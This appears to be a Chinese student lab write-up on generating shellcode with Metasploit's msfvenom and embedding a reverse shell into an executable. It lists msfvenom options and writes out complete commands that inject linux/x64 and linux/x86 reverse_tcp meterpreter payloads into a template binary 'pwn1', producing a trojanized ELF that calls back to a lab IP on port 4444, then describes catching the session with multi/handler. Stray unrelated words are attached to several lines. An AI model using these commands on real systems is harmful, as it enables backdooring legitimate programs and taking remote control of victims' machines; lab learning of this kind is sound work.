使用MSF生成shellcode

使用MSF生成shellcode

  1. payload和shellcode的區別

Payload是是包含在你用於一次漏洞利用(exploit)中的ShellCode中的主要功能代碼。由於Payload是包含在ShellCode中的,ShellCode是真正的被輸入到存在漏洞的程序中的,而且ShellCode負責把程序的流程最終轉移到你的Payload代碼中。因此對於一個漏洞來講,ShellCode就是一個用於某個漏洞的二進制代碼框架,有了這個框架你能夠在這個ShellCode中包含你須要的Payload來作一些事情。html

  1. 利用msfvenom生成payload

給個中文版的msfvenom的命令行選項:linux

Options:
    -p, --payload    <payload>       指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模塊的全部可用資源. 模塊類型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        爲payload預先指定一個NOP滑動長度
    -f, --format     <format>        指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
    -e, --encoder    [encoder]       指定須要使用的encoder(編碼器)
    -a, --arch       <architecture>  指定payload的目標架構
        --platform   <platform>      指定payload的目標平臺
    -s, --space      <length>        設定有效攻擊荷載的最大長度
    -b, --bad-chars  <list>          設定規避字符集,好比: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的編碼次數
    -c, --add-code   <path>          指定一個附加的win32 shellcode文件
    -x, --template   <path>          指定一個自定義的可執行文件做爲模板
    -k, --keep                       保護模板程序的動做,注入的payload做爲一個新的進程運行
        --payload-options            列舉payload的標準選項
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一個自定義的變量,以肯定輸出格式
        --shellest                   最小化生成payload
    -h, --help                       查看幫助選項
        --help-formats               查看msf支持的輸出格式列表

首先咱們用到的第一個選項是-l,查看全部msf可用的payload列表。裏面有526種payload,咱們須要的payload功能是獲取反彈鏈接shellshell

想要找到可用的payload首先要知道靶機的版本。在網上找方法查了一下,我開的另一臺kali靶機是64位。對應linux64位可用的payload有這些。windows

image

根據這些payload的功能描述,找出咱們須要的payload,使用-p指定。給你們翻譯了一下這些描述啥意思,以下:架構

- execute an arbitrary command    
執行一個任意命令
- Inject the mettle server payload(staged).Listen to a connection. 
注入mettle server payload,監聽等待一個鏈接。
- Inject the mettle server payload(staged).Connect back to a connection. 
注入mettle server payload,反彈鏈接一個鏈接。
- run the meterpreter /Mettle server payload (stageless) 
運行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.   
產生一個shell,等待鏈接。
- spawn a command shell.Connect back to a connection. 
產生一個shell,反彈鏈接一個鏈接。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一個隨機端口監聽一個鏈接,併產生一個shell。
- Spawn a shell on an established connection
在已經存在的鏈接上產生一個shell
- Connect back to attacker and spawn a command shell
反彈鏈接攻擊者,併產生一個shell。

很顯然咱們選擇最後一個,linux/x64/shell_reverse_tcp.框架

選定了payload,咱們須要給它寫一些什麼參數呢?用這個指令查看less

msfvenom -p windows/meterpreter/reverse_tcp --payload-options

image

基礎參數就兩個LHOST和LPORT。跟在payloa後面設置一下就能夠了。dom

選好了payload,接下來咱們-f選payload的輸出格式。用這個指令能夠查看payload有哪些輸出格式。tcp

msfvenom --help-formats

發現有不少:
imagepost

咱們的目標是注入到pwn1裏去,固然選擇ELF格式了!

還能夠用-e選擇編碼器和-i迭代編碼的次數。用這個指令查看可用的編碼方式。

msfvenom -l encoders

但ELF文件的編碼方式應該是機器無關的,不用選這個選項。

最後呢,固然是要用-x參數指定咱們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行文件中。

因此,最終咱們的指令是

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2

而後把咱們毒化的pwn2,複製到靶機裏。
打開攻擊方的msfconsole,加載exploit/multi/handler模塊,設置參數,最後一個exploit指令!攻擊!

可是一切彷佛不如人意,我在靶機上運行了pwn2,控制機沒有任何反應……

而後又在網上找了這篇文章msfvenom生成各種Payload命令,裏面說linux裏指令要這樣寫

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

對比以後,我意識到,雖然linux系統是64位,但pwn1是個32位程序啊!因此仍是用x86下面的payload。

最終的指令是這樣的:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3

再懷着忐忑和激動的心情去測試了一下pwn3,就發現成功了!

image

image

作了一天才成功,找了不少亂七八糟的資料,主要有用的參考資料以下:

msfvenom參數詳解

Meatsploit Framework msfvenom使用簡介

生成本身的Alphanumeric/Printable shellcode

msfvenom生成各種Payload命令

相關文章
相關標籤/搜索